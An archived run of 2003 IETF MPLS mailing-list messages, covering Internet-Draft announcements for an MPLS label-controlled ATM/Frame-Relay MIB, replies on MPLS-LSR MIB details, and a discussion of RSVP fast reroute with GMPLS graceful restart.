	id QQpmfp13558
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:22:32 GMT
Received: from sj-iport-5.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmfp13541
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:22:31 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 27 Oct 2003 06:23:17 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9REMRFH026845
	for <mpls@uu.net>; Mon, 27 Oct 2003 09:22:27 -0500 (EST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM14148;
	Mon, 27 Oct 2003 09:22:26 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9REMQV27412 for mpls@uu.net; Mon, 27 Oct 2003 09:22:26 -0500 (EST)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmfp09585
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:21:35 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmfp27013
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:18:28 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfp18924
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:18:28 GMT
Received: from ietf.org by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmfp18908
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:18:27 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA14433;
	Mon, 27 Oct 2003 09:18:16 -0500 (EST)
Message-Id: <200310271418.JAA14433@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lc-if-mib-00.txt
Date: Mon, 27 Oct 2003 09:18:15 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Label-Controlled ATM and Frame-Relay Management Interface Definition
	Author(s)	: T. Nadeau, S. Hegde
	Filename	: draft-ietf-mpls-lc-if-mib-00.txt
	Pages		: 19
	Date		: 2003-10-24
	
This memo defines how label switching controlled Frame-Relay
and ATM interfaces can be realized given the interface stacking 
as defined in the MPLS-LSR and MPLS-TE MIBs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lc-if-mib-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-24160825.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lc-if-mib-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-24160825.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Mon Oct 27 09:53:44 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17087
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 09:53:43 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfr08862
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 14:53:53 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfr08670;
	Mon, 27 Oct 2003 14:53:47 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfq10817
	for mpls-outgoing; Mon, 27 Oct 2003 14:35:43 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmfq10801
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:35:36 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmfq09744
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:34:19 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfq02455
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:34:18 GMT
Received: from sj-iport-3.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-3-in.cisco.com [171.71.176.72])
	id QQpmfq02428
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:34:17 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-3.cisco.com with ESMTP; 27 Oct 2003 06:36:10 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9REYAjR026278
	for <mpls@uu.net>; Mon, 27 Oct 2003 06:34:13 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM15177;
	Mon, 27 Oct 2003 09:34:09 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9REY9O28339 for mpls@uu.net; Mon, 27 Oct 2003 09:34:09 -0500 (EST)
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmfq10679
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:33:25 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmfq23201
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:30:37 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfq14021
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:30:37 GMT
Received: from sj-iport-5.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-5.cisco.com [171.68.10.87])
	id QQpmfq14014
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:30:36 GMT
Received: from cisco.com (64.102.124.12)
  by sj-iport-5.cisco.com with ESMTP; 27 Oct 2003 06:31:22 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by rtp-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9REUWFH028768;
	Mon, 27 Oct 2003 09:30:33 -0500 (EST)
Received: from tnadeauw2k02 (che-vpn-cluster-1-97.cisco.com [10.86.240.97])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM14836;
	Mon, 27 Oct 2003 09:30:31 -0500 (EST)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Stefan Winter'" <mail@stefan-winter.de>, <mpls@UU.NET>
Subject: RE: suggestion for draft-ietf-mpls-lsr-mib
Date: Mon, 27 Oct 2003 09:30:28 -0500
Organization: Cisco Systems, inc.
Message-ID: <01d801c39c96$de531480$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <000901c35f43$bd6eab20$2202a8c0@WorkGroup>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: quoted-printable


	Hi,

>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf=20
>Of Stefan Winter
>Sent: Sunday, August 10, 2003 9:32 AM
>To: mpls@UU.NET
>Subject: suggestion for draft-ietf-mpls-lsr-mib
>
>
>Hello!
>
>During implementing a management agent for the MPLS-LSR-STD-MIB a minor
>missing feature in the MIB showed up (at least in my understanding).
>The issue is about InSegments. When generating a new=20
>InSegment, one must
>specify the type of label, "generic","atm" or "frame relay".=20
>The type of label cannot be directly read.=20

	I don't understand. You know the interface on which
the label is being allocated, and hense the label space
that it is being allocated from. This tells you whether it
is the per-platform or per-interface space. In any event,
the interface tells you where the label came from.

>The current way to do so is to=20
>lookup the
>mplsInSegmentInterface column of the row, then look into=20
>IF-MIB::ifType.x
>and evaluate the ifType to guess which of the three is=20
>appropriate. Apart
>from the fact that looking up content of another MIB may be=20
>expensive, it
>not at always possible to determine the type of label. If, for example,
>ifType reports that the device is an ATM device, both the "atm" or the
>"generic" label types are possible (since "generic" is always=20
>an option).


>To overcome that limitation, two options seem to be possible.
>a) extend the mplsInterfaceTable with a column mplsInterfaceLabelType
>b) extend the mplsInSegmentTable with a column mplsInSegmentLabelType
>
>where b) is a more general solution as it allows to specify the type
>per-label and not only per-interface, as solution a) would do.=20
>The Syntax
>for such a column could be INTEGER { gen(0), atm(1), frame-relay(2) }.
>And as I write this, I realize that even OutSegments need to=20
>have the type of label specified... so the same limitation applies to=20
>OutSegments, too.

	The interface table already contains a variable that
indicates the label space participation type which applies
to all labels (segments) allocated using that interface:=20

mplsInterfaceLabelParticipationType OBJECT-TYPE
   SYNTAX  BITS {
                  perPlatform (0),
                  perInterface (1)
              }

	--Tom



>
>These are just my 2 cents from an implementor=B4s view, a=20
>comment would be
>nice.
>
>Greetings,
>
>Stefan Winter
>



From owner-mpls@UU.NET  Mon Oct 27 10:08:08 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18228
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 10:08:03 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfs25505
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 15:08:13 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmfs25238;
	Mon, 27 Oct 2003 15:08:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmfr12663
	for mpls-outgoing; Mon, 27 Oct 2003 14:48:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQpmfr12646
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:48:17 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmfq25900
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:36:51 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfq12594
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:36:51 GMT
Received: from ams-iport-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQpmfq12584
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:36:50 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 27 Oct 2003 15:34:44 +0100
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9REahj0009741
	for <mpls@uu.net>; Mon, 27 Oct 2003 06:36:45 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM15397;
	Mon, 27 Oct 2003 09:36:42 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9REagE28606 for mpls@uu.net; Mon, 27 Oct 2003 09:36:42 -0500 (EST)
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmfq10824
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 14:35:53 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmfq20819
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:35:26 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmfq03950
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:35:25 GMT
Received: from ams-iport-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: ams-iport-1.cisco.com [144.254.74.5])
	id QQpmfq03942
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:35:25 GMT
Received: from cisco.com (171.71.177.254)
  by ams-iport-1.cisco.com with ESMTP; 27 Oct 2003 15:33:19 +0100
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.9/8.12.6) with ESMTP id h9REZKiw008701;
	Mon, 27 Oct 2003 06:35:20 -0800 (PST)
Received: from tnadeauw2k02 (che-vpn-cluster-1-97.cisco.com [10.86.240.97])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM15264;
	Mon, 27 Oct 2003 09:35:18 -0500 (EST)
Reply-To: <tnadeau@cisco.com>
From: "Thomas D. Nadeau" <tnadeau@cisco.com>
To: "'Stefan Winter'" <mail@stefan-winter.de>, <mpls@UU.NET>, <iesg@ietf.org>
Subject: RE: glitch in draft-ietf-mpls-lsr-mib-12.txt
Date: Mon, 27 Oct 2003 09:35:15 -0500
Organization: Cisco Systems, inc.
Message-ID: <01d901c39c97$893989b0$6701a8c0@amer.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
Importance: Normal
In-Reply-To: <200309100957.14078.mail@stefan-winter.de>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit



>-----Original Message-----
>From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET] On Behalf 
>Of Stefan Winter
>Sent: Wednesday, September 10, 2003 3:57 AM
>To: mpls@UU.NET; iesg@ietf.org
>Subject: glitch in draft-ietf-mpls-lsr-mib-12.txt
>
>
>Hello,
>
>( I know it is VERY short before end of last call, but I just 
>came across this 
>one...)
>
>the mplsXCTable contains a RowStatus column and an AdminStatus column.
>The DESCRIPTION of its RowStatus reads, 
>       "When a row in this table has a row in the active(1)
>        state, no objects in this row except this object
>        and the mplsXCStorageType can be modified."
>Which does not make sense. As far as I know, the core purpose 
>of AdminStatus 
>is to have the possibility to put an XC offline without having 
>to set the 
>entire row to NotInService. But if one cannot modify the 
>AdminStatus once the 
>RowStatus is "up", this is not possible.
>If the description remains the way it is now, AdminStatus is 
>mostly useless. A 
>simple addition like
>       "except this object, the mplsXCStorageType
>        and the mplsXCAdminStatus can be modified."
>would make much more sense.

	Good catch. I will fix this along with any changes
from the RFC editor.

	--Tom



>
>Greetings,
>
>Stefan Winter
>



From owner-mpls@UU.NET  Mon Oct 27 17:36:02 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA23188
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 17:36:01 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmgw18573
	for <mpls-archive@lists.ietf.org>; Mon, 27 Oct 2003 22:36:12 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmgw18388;
	Mon, 27 Oct 2003 22:36:07 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmgu21815
	for mpls-outgoing; Mon, 27 Oct 2003 22:13:21 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmgu21810
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 22:13:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmgu06798
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:12:58 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmgu06449
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:12:58 GMT
Received: from sj-iport-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-iport-2-in.cisco.com [171.71.176.71])
	id QQpmgu06404
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:12:56 GMT
Received: from cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 27 Oct 2003 14:11:15 -0800
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.9/8.12.6) with ESMTP id h9RMCkjP004492
	for <mpls@uu.net>; Mon, 27 Oct 2003 14:12:46 -0800 (PST)
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.70.36])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id ADM63476;
	Mon, 27 Oct 2003 17:12:45 -0500 (EST)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.11.2/CISCO.WS.1.2) id h9RMCi810421 for mpls@uu.net; Mon, 27 Oct 2003 17:12:44 -0500 (EST)
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmgu21718
	for <mpls@mail-control.ash.ops.us.uu.net>; Mon, 27 Oct 2003 22:11:52 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmgu03579
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:11:09 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmgu24799
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:11:07 GMT
Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: odin.ietf.org [132.151.1.176])
	id QQpmgu24425
	for <mpls@uu.net>; Mon, 27 Oct 2003 22:10:51 GMT
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA19331;
	Mon, 27 Oct 2003 17:10:36 -0500 (EST)
Message-Id: <200310272210.RAA19331@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce:;
Cc: mpls@UU.NET
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mpls-lc-if-mib-00.txt
Date: Mon, 27 Oct 2003 17:10:32 -0500
Sender: owner-mpls@UU.NET
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiprotocol Label Switching Working Group of the IETF.

	Title		: Multiprotocol Label Switching (MPLS) Label-Controlled ATM and Frame-Relay Management Interface Definition
	Author(s)	: T. Nadeau, S. Hegde
	Filename	: draft-ietf-mpls-lc-if-mib-00.txt
	Pages		: 19
	Date		: 2003-10-24
	
This memo defines how label switching controlled Frame-Relay
and ATM interfaces can be realized given the interface stacking 
as defined in the MPLS-LSR and MPLS-TE MIBs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mpls-lc-if-mib-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<2003-10-27171412.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mpls-lc-if-mib-00.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mpls-lc-if-mib-00.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<2003-10-27171412.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mpls@UU.NET  Tue Oct 28 05:23:50 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA14238
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 05:23:50 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmir22248
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 10:24:00 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmir22006;
	Tue, 28 Oct 2003 10:23:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmiq28448
	for mpls-outgoing; Tue, 28 Oct 2003 10:01:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmiq27442
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 10:00:56 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmip21399
	for <mpls@UU.NET>; Tue, 28 Oct 2003 09:55:15 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmip24942
	for <mpls@UU.NET>; Tue, 28 Oct 2003 09:55:15 GMT
Received: from miles.dataconnection.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQpmip24926
	for <mpls@UU.NET>; Tue, 28 Oct 2003 09:55:14 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <49TPBZCC>; Tue, 28 Oct 2003 09:55:07 -0000
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F802870724@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: "'Adrian Farrel'" <adrian@olddog.co.uk>,
        Juniper - Kireeti Kompella
	 <kireeti@juniper.net>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, ccamp@ops.ietf.org
Subject: RE: RSVP Graceful Restart
Date: Tue, 28 Oct 2003 09:54:57 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Ok, let me clarify the problem.

RSVP FRR provides fast switchover to a backup LSP in the case of data plane
failure.  If only the control plane, and not the data plane, fails then it
is desirable to use GMPLS Restart rather than FRR switchover.  This provides
even more seamless preservation of data traffic, and means the backups are
still available for any subsequent full data plane failure.  However, there
are problems that need to be solved before FRR LSPs can be recovered using
GMPLS Restart.

In RSVP, GMPLS Restart uses Path/Resv refreshes and the MPLS forwarding
table to reconstruct the control plane.  When FRR is in use, active LSPs may
not be receiving Path/Resv refreshes.

For example, at a merge point on the protected LSP when a failure has
occurred upstream, Path Refreshes arrive only on the backup LSP and not the
protected.  That makes it difficult to construct Path refreshes to be sent
downstream on the protected LSP.  The following questions (among others)
must be answered.

 - How do we know FRR is in use?  This is not obvious when a backup Path
Refresh using SENDER_TEMPLATE specific signaling is received.
 - How do we know which protection method is in use?  In most cases there
will be a single method for the whole network, but not always.
 - How do we reconstruct the FAST_REROUTE object when no Path Refreshes are
arriving for the protected path?  (And how do we know whether the LSP is
being signaled with the FAST_REROUTE object at all and not just the 'local
protection desired' flag?)
 - etc.

Nic


-----Original Message-----
From: Adrian Farrel [mailto:adrian@olddog.co.uk]
Sent: Monday, October 27, 2003 2:00 PM
To: Nic Neate; Juniper - Kireeti Kompella
Cc: 'mpls@uu.net'; ccamp@ops.ietf.org
Subject: Re: RSVP Graceful Restart


Nic,

Could you set out the problem in a couple of paragraphs (perhaps with an
example) and let
everyone see what it is you're working on so that they can join in the
discussions.

Thanks,
Adrian
----- Original Message ----- 
From: "Nic Neate" <Nic.Neate@dataconnection.com>
To: "Juniper - Kireeti Kompella" <kireeti@juniper.net>
